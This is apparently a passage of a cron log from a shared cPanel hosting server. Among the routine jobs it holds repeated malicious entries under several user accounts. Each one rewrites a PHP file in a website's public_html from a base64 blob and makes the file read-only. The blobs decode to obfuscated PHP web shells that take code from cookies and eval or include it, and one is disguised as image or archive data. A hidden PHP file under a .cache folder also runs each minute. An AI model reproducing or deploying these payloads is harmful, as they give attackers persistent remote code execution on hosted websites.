ICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:40:01 medusa CROND[25298]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 18:40:01 medusa CROND[25299]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 18:40:01 medusa CROND[25295]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 18:40:01 medusa CROND[25302]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:40:01 medusa CROND[25293]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 18:40:01 medusa CROND[25306]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:40:01 medusa CROND[25307]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:40:01 medusa CROND[25316]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 18:40:01 medusa CROND[25319]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 18:41:02 medusa CROND[17593]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:41:02 medusa CROND[17640]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:41:02 medusa CROND[17642]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 18:41:02 medusa CROND[17641]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:41:02 medusa CROND[17645]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:41:02 medusa CROND[17643]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:41:02 medusa CROND[17646]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 18:41:02 medusa CROND[17647]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:41:02 medusa CROND[17644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:41:02 medusa CROND[17651]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:41:02 medusa CROND[17652]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:41:02 medusa CROND[17653]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 18:41:02 medusa CROND[17660]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:41:02 medusa CROND[17662]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:42:02 medusa CROND[9566]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:42:02 medusa CROND[9567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:42:02 medusa CROND[9568]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:42:02 medusa CROND[9569]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 18:42:02 medusa CROND[9570]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:42:02 medusa CROND[9571]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:42:02 medusa CROND[9572]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:42:02 medusa CROND[9574]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:42:02 medusa CROND[9577]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:42:02 medusa CROND[9580]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:42:02 medusa CROND[9584]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:42:02 medusa CROND[9588]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsu